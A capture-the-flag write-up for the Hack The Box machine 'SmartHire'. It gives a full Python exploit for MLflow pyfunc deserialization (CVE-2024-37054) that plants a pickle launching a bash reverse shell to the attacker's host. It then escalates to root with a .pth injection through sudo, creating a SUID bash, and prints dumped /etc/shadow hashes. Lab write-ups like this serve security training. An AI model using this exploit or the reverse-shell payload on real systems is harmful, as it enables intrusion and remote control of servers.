POSTS

HTB: SmartHire

SmartHire is a Medium-rated Linux machine that chains MLflow unsafe deserialization (CVE-2024-37054) to pivot from an unauthenticated web portal into a foothold as the svcweb user. Root falls to a Python .pth injection via a group-writable plugin directory, abused through a passwordless sudo misconfiguration to spawn a SUID shell and fully compromise the box.

HTB: SmartHire
2117 words · 10 min

Overview

Attack Paths

admin [MLflow Basic Auth] (weak credentials admin:password, models.smarthire.htb)
  └─ admin [MLflow pyfunc RCE] (CVE-2024-37054, cloudpickle payload)
       │
       └─ svcweb [Trigger /predict endpoint] (smarthire.htb/predict)                         ← Initial access
            │
            └─ svcweb [Read user.txt]                                                        ← USER flag
                 └─ svcweb [sudo -l → NOPASSWD] (python3.10 mlflowctl.py)
                      │
                      └─ devs [Writable plugin directory] (/opt/tools/mlflow_ctl/plugins/dev)
                           └─ root [Python .pth injection] (site.addsitedir, rootme.pth)
                                │
                                └─ root [SUID bash execution] (/tmp/rootbash -p)             ← ROOT flag

Enumeration

Nmap

$ nmap -sCV -Pn -p- --min-rate=1000 -T4 10.129.xxx.xxx              
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-17 07:58 +0900
Nmap scan report for 10.129.xxx.xxx
Host is up (0.46s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 41:3c:e3:bb:88:70:99:7f:b8:96:59:48:9b:85:98:69 (ECDSA)
|_  256 d5:9d:fd:6b:be:d8:39:6f:3f:43:ab:0e:f6:3e:22:db (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://smarthire.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add to /etc/hosts: echo ‘10.129.xxx.xxx smarthire.htb’ | sudo tee -a /etc/hosts

Vhost discovery

$ gobuster vhost -u http://smarthire.htb -t 50 -w /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt --append-domain --exclude-status 301
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://smarthire.htb
[+] Method:                    GET
[+] Threads:                   50
[+] Wordlist:                  /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt
[+] User Agent:                gobuster/3.8.2
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Progress: 19680 / 3000001 (0.66%)[ERROR] error on word thompsoncigar: timeout occurred during the request
models.smarthire.htb Status: 401 [Size: 137]
...

Add models.smarthire.htb to /etc/hosts

Directory discovery

$ feroxbuster -u http://smarthire.htb/ -t 50 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -d 1 -C 404 -C 412 -C 500
                                                                                                                                         
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://smarthire.htb/
 🚩  In-Scope Url          │ smarthire.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
 💢  Status Code Filters   │ [404, 412, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 1
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      131l      434w     6499c http://smarthire.htb/register
302      GET        5l       22w      199c http://smarthire.htb/logout => http://smarthire.htb/login
200      GET      127l      406w     6160c http://smarthire.htb/login
200      GET       93l      540w    36701c http://smarthire.htb/static/images/unsplash_robohuman.jpeg
200      GET      187l     1144w    86196c http://smarthire.htb/static/images/unsplash_analytics.jpeg
200      GET      314l     1901w   141610c http://smarthire.htb/static/images/unsplash_team.jpeg
200      GET       83l     9103w   407279c http://smarthire.htb/static/js/tailwind.js
200      GET      215l      875w    11255c http://smarthire.htb/
302      GET        5l       22w      199c http://smarthire.htb/dashboard => http://smarthire.htb/login
302      GET        5l       22w      199c http://smarthire.htb/predict => http://smarthire.htb/login
[####################] - 4m     38277/38277   0s      found:10      errors:0      
[####################] - 4m     38268/38268   175/s   http://smarthire.htb/   

Nothing is interesting.

$ feroxbuster -u http://models.smarthire.htb/ -t 50 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -d 1 -C 404 -C 412 -C 500
                                                                                                                                         
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://models.smarthire.htb/
 🚩  In-Scope Url          │ models.smarthire.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
 💢  Status Code Filters   │ [404, 412, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 1
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
401      GET        1l       11w      137c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        1l        1w        2c http://models.smarthire.htb/health
[####################] - 4m     38268/38268   0s      found:1       errors:0      
[####################] - 4m     38268/38268   180/s   http://models.smarthire.htb/   

Just found http://models.smarthire.htb/health as all others asked for authentication.

MLflow - Basic credentials authenticating (80/tcp)

Just try basic admin:passowrd then we can authenticate:

mlflow v2.14.1

CVE-2024-37054 - MLflow RCE via Deserialization of Untrusted Data (svcweb) (user)

A deserialization vulnerability exists in the mlflow.pyfunc.load_model function. An attacker can craft a malicious model containing a pickled payload. When a victim loads this model, the payload is deserialized via cloudpickle.load, leading to arbitrary code execution on the victim’s machine.

Products Impacted: MLflow versions from 0.9.0 up to, but not including, 2.14.2

Let’s check with a quick test.

Create a new user user:qwerty123!:

Sigin:

Check the CSV format to follow the same rules to craft our own:

Example CSV:

name,skills,experience,education,position_applied,previous_company
John Smith,"Python, Machine Learning, SQL",60,Master's in CS,Data Scientist,TechCorp

Create our CSV:

$ cat train.csv                              
name,skills,experience,education,position_applied,previous_company
John Smith,"Python, Machine Learning, SQL",60,Master's in CS,Data Scientist,TechCorp
Sarah Johnson,"JavaScript, React, Node.js",36,Bachelor's in SE,Full Stack Dev,StartupXYZ
Mike Brown,"Java, Spring Boot, PostgreSQL",84,Bachelor's in IT,Backend Developer,Enterprise Inc

Train legitimate model:

The app creates a registered model with versioning:

Edit the run:

Then we can found the created artifacts:

The MLflow web UI is designed for viewing, comparing, and registering models, rather than uploading arbitrary model files directly into the UI.

To “upload” or log a custom pyfunc model artifact, you must use the Python tracking client (mlflow.pyfunc) in our development environment to log or save the model to our tracking server.

We will switch then to Python3 only to craft our malicious pyfunc model artifact, register it as the next version of the app’s model, then trigger /predict with any resume CSV so the app loads it.

$ cat exploit.py 
#!/usr/bin/env python3
import argparse
import base64
import http.cookiejar
import json
import random
import string
import urllib.error
import urllib.parse
import urllib.request


def randstr(n=8):
    return "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(n))


class Client:
    def __init__(self):
        self.jar = http.cookiejar.CookieJar()
        self.opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self.jar))

    def request(self, method, url, data=None, headers=None, basic=None, timeout=30):
        headers = dict(headers or {})
        if basic:
            token = base64.b64encode(f"{basic[0]}:{basic[1]}".encode()).decode()
            headers["Authorization"] = f"Basic {token}"
        req = urllib.request.Request(url, data=data, headers=headers, method=method)
        try:
            with self.opener.open(req, timeout=timeout) as res:
                return res.status, res.read(), dict(res.headers)
        except urllib.error.HTTPError as e:
            return e.code, e.read(), dict(e.headers)


def form_body(fields):
    return urllib.parse.urlencode(fields).encode()


def multipart_body(field, filename, content, ctype="application/octet-stream"):
    boundary = "----smarthire" + randstr(16)
    body = (
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="{field}"; filename="{filename}"\r\n'
        f"Content-Type: {ctype}\r\n\r\n"
    ).encode() + content + f"\r\n--{boundary}--\r\n".encode()
    return body, {"Content-Type": f"multipart/form-data; boundary={boundary}"}


def json_req(client, method, url, obj=None, basic=None):
    data = None if obj is None else json.dumps(obj).encode()
    headers = {"Content-Type": "application/json"} if obj is not None else {}
    code, body, _ = client.request(method, url, data=data, headers=headers, basic=basic)
    if code >= 400:
        raise SystemExit(f"[-] {method} {url} -> HTTP {code}: {body[:300].decode(errors='ignore')}")
    return json.loads(body.decode() or "{}")


def upload_artifact(client, models, auth, run_id, path, content):
    url = f"{models}/api/2.0/mlflow-artifacts/artifacts/0/{run_id}/artifacts/{path}"
    code, body, _ = client.request("PUT", url, data=content, basic=auth)
    if code >= 400:
        raise SystemExit(f"[-] artifact upload {path} -> HTTP {code}: {body[:300].decode(errors='ignore')}")


def main():
    p = argparse.ArgumentParser(description="SmartHire MLflow pyfunc reverse-shell PoC")
    p.add_argument("--app", default="http://smarthire.htb")
    p.add_argument("--models", default="http://models.smarthire.htb")
    p.add_argument("--lhost", required=True)
    p.add_argument("--lport", required=True)
    p.add_argument("--username", default="rpwn_user")
    p.add_argument("--password", default="rpwn_pass")
    p.add_argument("--company", default="RPWN_Corp")
    p.add_argument("--mlflow-user", default="admin")
    p.add_argument("--mlflow-pass", default="password")
    args = p.parse_args()

    app = args.app.rstrip("/")
    models = args.models.rstrip("/")
    auth = (args.mlflow_user, args.mlflow_pass)
    c = Client()

    print("[*] Register/login SmartHire user")
    c.request(
        "POST",
        f"{app}/register",
        data=form_body({"username": args.username, "company": args.company, "password": args.password}),
        headers={"Content-Type": "application/x-www-form-urlencoded"},
    )
    code, body, _ = c.request(
        "POST",
        f"{app}/login",
        data=form_body({"username": args.username, "password": args.password}),
        headers={"Content-Type": "application/x-www-form-urlencoded"},
    )
    if code not in (200, 302):
        raise SystemExit(f"[-] login failed: HTTP {code}")

    print("[*] Train legitimate model so the app creates a registered model")
    train_csv = (
        b"name,skills,experience,education,position_applied,previous_company\n"
        b'John Smith,"Python, Machine Learning, SQL",60,Masters,Data Scientist,TechCorp\n'
        b'Sarah Johnson,"JavaScript, React, Node.js",36,Bachelors,Full Stack Dev,StartupXYZ\n'
        b'Mike Brown,"Java, Spring Boot, PostgreSQL",84,Bachelors,Backend Developer,Enterprise Inc\n'
    )
    body, headers = multipart_body("file", "train.csv", train_csv, "text/csv")
    c.request("POST", f"{app}/upload_hiring_data", data=body, headers=headers, timeout=70)

    info = json_req(c, "GET", f"{app}/model_info")
    model_name = info.get("model_name")
    if not model_name:
        raise SystemExit(f"[-] could not get model_name: {info}")
    print(f"[+] App model name: {model_name}")

    print("[*] Create MLflow run and upload malicious pyfunc artifact")
    run = json_req(c, "POST", f"{models}/api/2.0/mlflow/runs/create", {"experiment_id": "0"}, basic=auth)
    run_id = run["run"]["info"]["run_id"]
    print(f"[+] MLflow run_id: {run_id}")

    cmd = f'bash -c "bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"'
    pickle_payload = f"cposix\nsystem\n(S'{cmd}'\ntR.\n".encode()
    mlmodel = f"""artifact_path: model
flavors:
  python_function:
    cloudpickle_version: 3.1.1
    code: null
    env:
      conda: conda.yaml
      virtualenv: python_env.yaml
    loader_module: mlflow.pyfunc.model
    python_model: python_model.pkl
    python_version: 3.10.12
    streamable: false
mlflow_version: 2.14.1
model_size_bytes: {len(pickle_payload)}
model_uuid: {randstr(32)}
run_id: {run_id}
utc_time_created: '2026-05-16 19:00:00.000000'
""".encode()

    files = {
        "model/MLmodel": mlmodel,
        "model/python_model.pkl": pickle_payload,
        "model/conda.yaml": b"channels:\n- conda-forge\ndependencies:\n- python=3.10.12\nname: mlflow-env\n",
        "model/python_env.yaml": b"python: 3.10.12\nbuild_dependencies: []\ndependencies: []\n",
        "model/requirements.txt": b"mlflow==2.14.1\ncloudpickle==3.1.1\n",
    }
    for path, content in files.items():
        upload_artifact(c, models, auth, run_id, path, content)

    print("[*] Register malicious model version and promote it to Production")
    mv = json_req(
        c,
        "POST",
        f"{models}/api/2.0/mlflow/model-versions/create",
        {"name": model_name, "source": f"mlflow-artifacts:/0/{run_id}/artifacts/model", "run_id": run_id},
        basic=auth,
    )
    version = mv["model_version"]["version"]
    json_req(
        c,
        "POST",
        f"{models}/api/2.0/mlflow/model-versions/transition-stage",
        {"name": model_name, "version": version, "stage": "Production", "archive_existing_versions": True},
        basic=auth,
    )
    print(f"[+] Malicious model version: {version}")

    print("[*] Trigger /predict. Catch shell on your listener.")
    resume_csv = b"experience,skills\n60,\"Python, Machine Learning, SQL\"\n"
    body, headers = multipart_body("file", "resume.csv", resume_csv, "text/csv")
    c.request("POST", f"{app}/predict", data=body, headers=headers, timeout=10)
    print("[+] Trigger sent")


if __name__ == "__main__":
    main()

Set a penelope listener:

$ penelope -i tun0 -p 443
[+] Listening for reverse shells on 10.10.16.10:443 
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)

Execute our exploit:

$ python3 exploit.py --lhost 10.10.16.10 --lport 443 
[*] Register/login SmartHire user
[*] Train legitimate model so the app creates a registered model
[+] App model name: RPWN_Corp-c1e06019fe89-model
[*] Create MLflow run and upload malicious pyfunc artifact
[+] MLflow run_id: 950fddc408b04d72ab48b91058c757d6
[*] Register malicious model version and promote it to Production
[+] Malicious model version: 2
[*] Trigger /predict. Catch shell on your listener.

We got our shell as svcweb:

[+] [New Reverse Shell] => smarthire 10.129.xxx.xxx Linux-x86_64 👤 svcweb(1000) 😍 Session ID <1>
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3
[+] Interacting with session [1] • PTY • Menu key F12 ⇐
[+] Session log: /home/obak3/.penelope/sessions/smarthire~10.129.xxx.xxx-Linux-x86_64/2026_05_17-12_20_52-419.log
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
svcweb@smarthire:/var/www/smarthire.htb$ 

Then grab the user flag:

svcweb@smarthire:/var/www/smarthire.htb$ cd /home/svcweb/
svcweb@smarthire:~$ ls
user.txt
svcweb@smarthire:~$ cat user.txt 
<REDACTED>

We can double check in the WebUI:

New model:

Version 1 then Version 2:

Artifacts of the new run:

Privilege escalation (root)

Check the SUDO privileges:

svcweb@smarthire:~$ sudo -l
Matching Defaults entries for svcweb on smarthire:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User svcweb may run the following commands on smarthire:
    (root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
svcweb@smarthire:~$ cat /opt/tools/mlflow_ctl/mlflowctl.py
#!/usr/bin/env python3
"""
MLFLOW-CTL: Operational interface for managing the MLflow service.
Supports a pluggable extension model for environment-specific logic.
For changes or plugin requests, please contact the Platform Team.
"""

from pathlib import Path
import sys
import site

BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"

# make plugins importable
for path in PLUGINS_DIR.iterdir():
    if path.is_dir():
        site.addsitedir(str(path))

def print_usage():
    print("Usage: mlflowctl.py [status|backup-models|restart]")
    sys.exit(1)

def main():
    import mlflow_actions, backup_models

    if len(sys.argv) < 2:
        print_usage()

    action = sys.argv[1]

    if action == "status":
        mlflow_actions.check_status()
    elif action == "backup-models":
        print("[*] Running backup via backup_models plugin...")
        backup_models.run()
    elif action == "restart":
        mlflow_actions.restart()
    else:
        print(f"[!] Unknown action: {action}")
        print_usage()

if __name__ == "__main__": main()

mlflowctl.py calls site.addsitedir() on plugins directories.

Check the permissions on plugins folder and sub-folders:

svcweb@smarthire:~$ ls -laR /opt/tools/mlflow_ctl/plugins 
/opt/tools/mlflow_ctl/plugins:
total 16
drwxr-xr-x 4 root root 4096 Feb 19 18:10 .
drwxr-xr-x 3 root root 4096 Feb 19 18:16 ..
drwxr-xr-x 3 root root 4096 Feb 20 09:26 core
drwxrwxr-x 2 root devs 4096 May 12 15:22 dev

/opt/tools/mlflow_ctl/plugins/core:
total 20
drwxr-xr-x 3 root root 4096 Feb 20 09:26 .
drwxr-xr-x 4 root root 4096 Feb 19 18:10 ..
-rw-r--r-- 1 root root 1474 Feb 19 16:49 backup_models.py
-rw-r--r-- 1 root root 1492 Feb 19 17:45 mlflow_actions.py
drwxr-xr-x 2 root root 4096 Feb 20 09:26 __pycache__

/opt/tools/mlflow_ctl/plugins/core/__pycache__:
total 16
drwxr-xr-x 2 root root 4096 Feb 20 09:26 .
drwxr-xr-x 3 root root 4096 Feb 20 09:26 ..
-rw-r--r-- 1 root root 1536 Feb 20 09:26 backup_models.cpython-310.pyc
-rw-r--r-- 1 root root 1647 Feb 20 09:26 mlflow_actions.cpython-310.pyc

/opt/tools/mlflow_ctl/plugins/dev:
total 8
drwxrwxr-x 2 root devs 4096 May 12 15:22 .
drwxr-xr-x 4 root root 4096 Feb 19 18:10 ..
svcweb@smarthire:~$ getent group devs
devs:x:1002:svcweb

/opt/tools/mlflow_ctl/plugins/dev is writable by group devs then, as svcweb is in devs group then he can write too.

Easy to exploit:

  • Add pwn.pth with Python import line to copy /bin/bash to /tmp/rootbash and chmod 4755 for SUID.
  • Run sudo -n /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status to execute it.
svcweb@smarthire:~$ printf 'import os; os.system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash")\n' > /opt/tools/mlflow_ctl/plugins/dev/rootme.pth
svcweb@smarthire:~$ sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status 
[*] Checking MLflow service status...

[+] MLflow service status: active
[+] MLflow container status: 'Up 3 hours'

Then grab the root flag and all hashes:

svcweb@smarthire:~$ /tmp/rootbash -p -c 'id; cat /root/root.txt; cat /etc/shadow'
uid=1000(svcweb) gid=1000(svcweb) euid=0(root) groups=1000(svcweb),1001(mlflowweb),1002(devs)
<REDACTED>
root:$y$j9T$aK2bbvaNoSx6f5u9MgO04.$hFnfmmpEYPf0TrFuI52M5e2F83LYJqobGDjrXNSg9J5:20348:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
sys:*:19977:0:99999:7:::
sync:*:19977:0:99999:7:::
games:*:19977:0:99999:7:::
man:*:19977:0:99999:7:::
lp:*:19977:0:99999:7:::
mail:*:19977:0:99999:7:::
news:*:19977:0:99999:7:::
uucp:*:19977:0:99999:7:::
proxy:*:19977:0:99999:7:::
www-data:*:19977:0:99999:7:::
backup:*:19977:0:99999:7:::
list:*:19977:0:99999:7:::
irc:*:19977:0:99999:7:::
gnats:*:19977:0:99999:7:::
nobody:*:19977:0:99999:7:::
_apt:*:19977:0:99999:7:::
systemd-network:*:19977:0:99999:7:::
systemd-resolve:*:19977:0:99999:7:::
messagebus:*:19977:0:99999:7:::
systemd-timesync:*:19977:0:99999:7:::
pollinate:*:19977:0:99999:7:::
syslog:*:19977:0:99999:7:::
uuidd:*:19977:0:99999:7:::
tss:*:19977:0:99999:7:::
landscape:*:19977:0:99999:7:::
fwupd-refresh:*:19977:0:99999:7:::
usbmux:*:20346:0:99999:7:::
sshd:*:20346:0:99999:7:::
svcweb:$y$j9T$fleWyJl1srX0/kg26RHIb1$7.FBUP51Ia1DO0hvUWPzqDv5Sb5.c12DliEZtdAzM27:20348:0:99999:7:::
lxd:!:20346::::::
dnsmasq:*:20347:0:99999:7:::
_laurel:!:20586::::::